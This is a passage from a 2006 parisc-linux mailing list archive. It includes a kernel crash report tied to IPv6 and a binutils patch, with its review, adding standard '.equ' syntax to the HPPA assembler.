	parisc-linux@lists.parisc-linux.org;
	Fri, 01 Dec 2006 03:52:01 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J9L003MKCUOS0Z0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 01 Dec 2006 03:52:01 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	kB1BpwnF019966	for
	<parisc-linux@lists.parisc-linux.org>; Fri, 01 Dec 2006 04:51:58 -0700
In-reply-to: <456F1715.5080305@excelcia.org>
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: ClamAV version 0.88.6,
	clamav-milter version 0.88.6 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C006AngIa2A7W7vDOHQy9asyOWhhagf8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24123

The Zalos driver is missing from Debian.  I feel like an idiot now.

Is this missing by design?  Anyone I can convince to add it?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel crash with IPv6
Date: Sat, 2 Dec 2006 15:15:47 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <200612021515.47161.deller__32409.2464325533$1416624225$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624225 21721 80.91.229.3 (22 Nov 2014 02:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:45 +0000 (UTC)
To: "list parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 14:16:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 02 Dec 2006 15:16:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B35B7D969;
	Sat,  2 Dec 2006 07:15:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03889-08; Sat, 2 Dec 2006 07:15:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 963BF7D975;
	Sat,  2 Dec 2006 07:15:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B9FE7D958
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 07:15:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03889-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Dec 2006 07:15:50 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 50F157D951
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 07:15:50 -0700 (MST)
Original-Received: (qmail invoked by alias); 02 Dec 2006 14:15:48 -0000
Original-Received: from mnhm-590c0a4b.pool.einsundeins.de (EHLO p100.box) [89.12.10.75]
	by mail.gmx.net (mp046) with SMTP; 02 Dec 2006 15:15:48 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[; fY@)WscF2iV7`,a$141g'o,7X
	?Bt1Wb:L7K6z-<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(e}
	`-QV{#%&[?^fAke6t8QbP; b'XB,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"
	["ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k7JEcWUlRkkeaauPfGRqEkJmdWkvKNOY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24124

Just got a kernel crash with our git tree code.
Not sure if this is generic problem or related to parisc.
I didn't investigated any further. 
Just reporting her in case someone has an idea.
IPV6 and serial console were enabled.
Turning IPV6 off fixed it for me.

Helge
-----------
rtc-test rtc-test.0: setting the system clock to 2006-12-02 14:04:48 (1165068288)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.70
IP-Config: Complete:
      device=eth0, addr=192.168.178.70, mask=255.255.255.0, gw=192.168.178.1,
     host=c3000, domain=box, nis-domain=(none),
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Autodetecting RAID arrays.
skb_over_panic: text:1045715c len:56 put:16 head:8fa40a80 data:8fa40a90 tail:8fa40ac8 end:8fa40ac0 dev:eth0
kernel BUG at net/core/skbuff.c:93!
Backtrace:
 [<103e4b44>] skb_over_panic+0x74/0x84
 [<10457164>] ndisc_send_rs+0x268/0x4ac
 [<1044d15c>] addrconf_dad_completed+0x84/0xd8
 [<1044d09c>] addrconf_dad_timer+0xe8/0x124
 [<10131360>] run_timer_softirq+0x140/0x1dc
 [<1012c7b0>] __do_softirq+0x60/0xcc
 [<101042f0>] do_softirq+0x38/0x48
 [<101084ac>] do_cpu_irq_mask+0xf0/0x11c
 [<1010b068>] intr_return+0x0/0xc
 [<102a19ac>] serial8250_console_putchar+0x34/0x108
 [<10127370>] vprintk+0x2b8/0x2f4
 [<10127368>] vprintk+0x2b0/0x2f4
 [<101270ac>] printk+0x20/0x2c
 [<10398220>] autostart_arrays+0x28/0xd4
 [<103960fc>] md_ioctl+0x44c/0x474
 [<1023e6bc>] blkdev_driver_ioctl+0x58/0x64

Kernel panic - not syncing: BUG!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Sat, 2 Dec 2006 16:21:03 +0100
Lines: 131
Approved: news@gmane.org
Message-ID: <200612021621.03867.deller__25697.3830321387$1416624225$gmane$org@gmx.de>
References: <200611301613.kAUGDV3J004744@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624225 21726 80.91.229.3 (22 Nov 2014 02:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 15:21:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 02 Dec 2006 16:21:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E9737D9E6;
	Sat,  2 Dec 2006 08:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05409-04; Sat, 2 Dec 2006 08:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A6DC7D9D3;
	Sat,  2 Dec 2006 08:21:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCF5B7D9CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 08:21:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05409-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Dec 2006 08:21:32 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 04A047D9CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Dec 2006 08:21:31 -0700 (MST)
Original-Received: (qmail invoked by alias); 02 Dec 2006 15:21:31 -0000
Original-Received: from mnhm-590c0a4b.pool.einsundeins.de (EHLO p100.box) [89.12.10.75]
	by mail.gmx.net (mp031) with SMTP; 02 Dec 2006 16:21:31 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200611301613.kAUGDV3J004744@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N6NCfRhbMmApXLSZZGFnpGUxMjQ1N51Q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24125

On Thursday 30 November 2006 17:13, John David Anglin wrote:
> > deller@c3000:~/binutils/run/bin$ cat test.s
> > AA       .equ  4
> > BB      .equ  6
> > deller@c3000:~/binutils/run/bin$ as test.s
> > test.s: Assembler messages:
> > test.s:1: Error: Unknown opcode: `aa'
> > test.s:2: Error: Invalid operands
> 
> This is because the linux target was changed to require colons after
> labels.  ....

yes.

> > although as.info states:
> > 
> > 7.37 `.equ SYMBOL, EXPRESSION'
> > ==============================
> > 
> > This directive sets the value of SYMBOL to EXPRESSION.  It is
> > synonymous with `.set'; see *Note `.set': Set.
> > 
> >    The syntax for `equ' on the HPPA is `SYMBOL .equ EXPRESSION'.
> 
> This doesn't reflect that SYMBOL needs to be followed by a colon
> on HPPA linux.  So, the documentation needs updating.

yes.

> Probably, the linux should have been updated to use the normal GNU
> syntax when it was introduced.  

yes

> Now, updating the syntax involves a 
> potential compatibility break with GCC and existing assembler code.

This is IMHO only true if things suddenly are not allowed any longer which were allowed before.
But my patch just "adds" a new syntax. It does not revert or bails on any existing one.

> At the moment, I don't see a strong need to do the update.

Technically yes, but I think if you have a "gnu as", why not allowing standard gnu style ?

The attached patch updates the documentation and code to additionally allow c):
a)
LABEL:		.equ VALUE		; NOTE: LABEL with COLON ':'
worked before on Linux, will still work. No idea about HPUX

b)
LABEL 		.equ VALUE		 ; NOTE: LABEL without COLON ':'
never worked on Linux, and will still not work. 
Standard on HPUX, so gnu as never followed HP-UX here.

c)
			.equ VAR,VALUE 
standard gnu syntax. Didn't worked before on Linux. Will work now.
HP-UX probably never allowed this one.

d)
LABEL:		.equ VAR,VALUE
never worked on Linux. Will still not work. Use eiter "LABEL:" or "VAR".
HP-UX probably never allowed this one.


Index: config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.133
diff -u -r1.133 tc-hppa.c
--- config/tc-hppa.c	30 Oct 2006 01:09:18 -0000	1.133
+++ config/tc-hppa.c	2 Dec 2006 15:10:54 -0000
@@ -3262,7 +3262,7 @@
       return;
     }
 
-  /* Look up the opcode in the has table.  */
+  /* Look up the opcode in the hash table.  */
   if ((insn = (struct pa_opcode *) hash_find (op_hash, str)) == NULL)
     {
       as_bad ("Unknown opcode: `%s'", str);
@@ -6397,8 +6397,11 @@
     {
       if (reg)
 	as_bad (_(".REG must use a label"));
-      else
-	as_bad (_(".EQU must use a label"));
+      else {
+	/* Try gas' standard ".equ X,Y" pseudo opcode.  */
+      	s_set(0);
+	return;
+      }
     }
 
   pa_undefine_label ();
 
Index: doc/as.texinfo
===================================================================
RCS file: /cvs/src/src/gas/doc/as.texinfo,v
retrieving revision 1.155
diff -u -r1.155 as.texinfo
--- doc/as.texinfo	3 Nov 2006 07:29:37 -0000	1.155
+++ doc/as.texinfo	2 Dec 2006 15:10:56 -0000
@@ -4368,8 +4368,8 @@
 It is synonymous with @samp{.set}; see @ref{Set,,@code{.set}}.
 
 @ifset HPPA
-The syntax for @code{equ} on the HPPA is 
-@samp{@var{symbol} .equ @var{expression}}.
+On HPPA the following syntax may be used alternatively:
+@samp{@var{symbol:} .equ @var{expression}}
 @end ifset
 
 @ifset Z80
@@ -5671,8 +5671,8 @@
 file is the last value stored into it.
 
 @ifset HPPA
-The syntax for @code{set} on the HPPA is
-@samp{@var{symbol} .set @var{expression}}.
+Alternatively the syntax for @code{set} on the HPPA is
+@samp{@var{symbol:} .set @var{expression}}.
 @end ifset
 
 @ifset Z80
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Sat, 2 Dec 2006 16:13:22 -0500 (EST)
Lines: 117
Approved: news@gmane.org
Message-ID: <200612022113.kB2LDNrS007088__34978.7914463834$1416624226$gmane$org@hiauly1.hia.nrc.ca>
References: <200612021621.03867.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624226 21728 80.91.229.3 (22 Nov 2014 02:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 carlos@baldric.uwo.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Dec 2006 21:13:31 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx025) with SMTP; 02 Dec 2006 22:13:31 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB2LDN5M007089;
	Sat, 2 Dec 2006 16:13:23 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB2LDNrS007088;
	Sat, 2 Dec 2006 16:13:23 -0500 (EST)
In-Reply-To: <200612021621.03867.deller@gmx.de> from "Helge Deller" at Dec 2, 2006 04:21:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E5kYdmAheWU3WK2TZm9nXh0rL0tsZs2V
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24126

> a)
> LABEL:		.equ VALUE		; NOTE: LABEL with COLON ':'
> worked before on Linux, will still work. No idea about HPUX

It works on hpux.

> b)
> LABEL 		.equ VALUE		 ; NOTE: LABEL without COLON ':'
> never worked on Linux, and will still not work. 
> Standard on HPUX, so gnu as never followed HP-UX here.

This also works on hpux.  I don't understand your comment about
GNU as not following the behavior of HP as.  This is the only
variant allowed by HP as.

> c)
> 			.equ VAR,VALUE 
> standard gnu syntax. Didn't worked before on Linux. Will work now.
> HP-UX probably never allowed this one.

This isn't good enough.  Either it should work under hpux or be rejected.

> d)
> LABEL:		.equ VAR,VALUE
> never worked on Linux. Will still not work. Use eiter "LABEL:" or "VAR".
> HP-UX probably never allowed this one.

Probably, pa_equ should be updated to check that the rest of the line
is empty.  See s_set for an example.

> @@ -3262,7 +3262,7 @@
>        return;
>      }
>  
> -  /* Look up the opcode in the has table.  */
> +  /* Look up the opcode in the hash table.  */
>    if ((insn = (struct pa_opcode *) hash_find (op_hash, str)) == NULL)
>      {
>        as_bad ("Unknown opcode: `%s'", str);

This typo fix should be a separate patch.  It's fine with the addition
of a ChangeLog entry.

> @@ -6397,8 +6397,11 @@
>      {
>        if (reg)
>  	as_bad (_(".REG must use a label"));
> -      else
> -	as_bad (_(".EQU must use a label"));
> +      else {
> +	/* Try gas' standard ".equ X,Y" pseudo opcode.  */
> +      	s_set(0);
> +	return;
> +      }

I still have a problem with this part.  It drops the ".EQU must use a label"
error message and s_set has no equivalent error message.  In order to support
the alternative syntax, you need to parse the rest of the manner similar
to that done in s_set.  We need a message that handles both ".EQU must use
a label" and "expected symbol name".

The other problem that I see is the dropping of the check on the
expression value:

          fudge_reg_expressions = 1;
	  seg = expression (&exp);
	  fudge_reg_expressions = 0;
	  if (exp.X_op != O_constant
	      && exp.X_op != O_register)
	  ...

This is likely to be problematic under hpux.  Even under linux,
the two alternative forms don't handle equivalences in the same
way.  Compare what assign_symbol does compared with pa_equ.

It's certainly possible to do the checks described above.  However,
I have to wonder if it wouldn't be simpler to just do the following:

#if !(defined (OBJ_ELF) && (defined (TE_LINUX) || defined (TE_NetBSD)))
  {"equ", pa_equ, 0},
#endif

This would yield the normal GNU syntax under linux and netbsd, and
retain the existing syntax for other targets.  This might cause some
current code to fail but it's not a problem for GCC.

>  @ifset HPPA
> -The syntax for @code{equ} on the HPPA is 
> -@samp{@var{symbol} .equ @var{expression}}.
> +On HPPA the following syntax may be used alternatively:
> +@samp{@var{symbol:} .equ @var{expression}}

This also isn't quite right.  See my comment to "b)".  Symbol must
be a label symbol.

>  @ifset HPPA
> -The syntax for @code{set} on the HPPA is
> -@samp{@var{symbol} .set @var{expression}}.
> +Alternatively the syntax for @code{set} on the HPPA is
> +@samp{@var{symbol:} .set @var{expression}}.
>  @end ifset

Both the original and proposed change aren't right.  There is no
special handling for .set on HPPA (see md_pseudo_table).  So, the
HPPA bit can just be deleted.

In standard GNU syntax, .equ and .set are synonyms.  Since .set has
the standard behavior, it can be used instead of .equ.  That's why
I question modifying the syntax of .equ, but I will accept the
change if it provides a behavior similar to the current behavior.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel crash with IPv6
Date: Sun, 3 Dec 2006 13:15:40 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20061203181540.GA6043__10139.623998157$1416624226$gmane$org@athena.road.mcmartin.ca>
References: <200612021515.47161.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624226 21730 80.91.229.3 (22 Nov 2014 02:43:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:46 +0000 (UTC)
Cc: list parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Dec 2006 18:15:44 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx078) with SMTP; 03 Dec 2006 19:15:44 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6BB13584110;
	Sun,  3 Dec 2006 13:15:42 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id ED11C5840FC;
	Sun,  3 Dec 2006 13:15:41 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (athena.road.mcmartin.ca [134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A6279837DB;
	Sun,  3 Dec 2006 13:15:41 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id D04CA3B06E; Sun,  3 Dec 2006 13:15:40 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200612021515.47161.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZSZKfQdaYW0+VLuGbmZptMZ0amthc5tY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24127

On Sat, Dec 02, 2006 at 03:15:47PM +0100, Helge Deller wrote:
> Just got a kernel crash with our git tree code.
> Not sure if this is generic problem or related to parisc.
> I didn't investigated any further. 
> Just reporting her in case someone has an idea.
> IPV6 and serial console were enabled.
> Turning IPV6 off fixed it for me.
> 

I think,

http://bugzilla.kernel.org/show_bug.cgi?id=7621

Cheers,
	Kyle



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
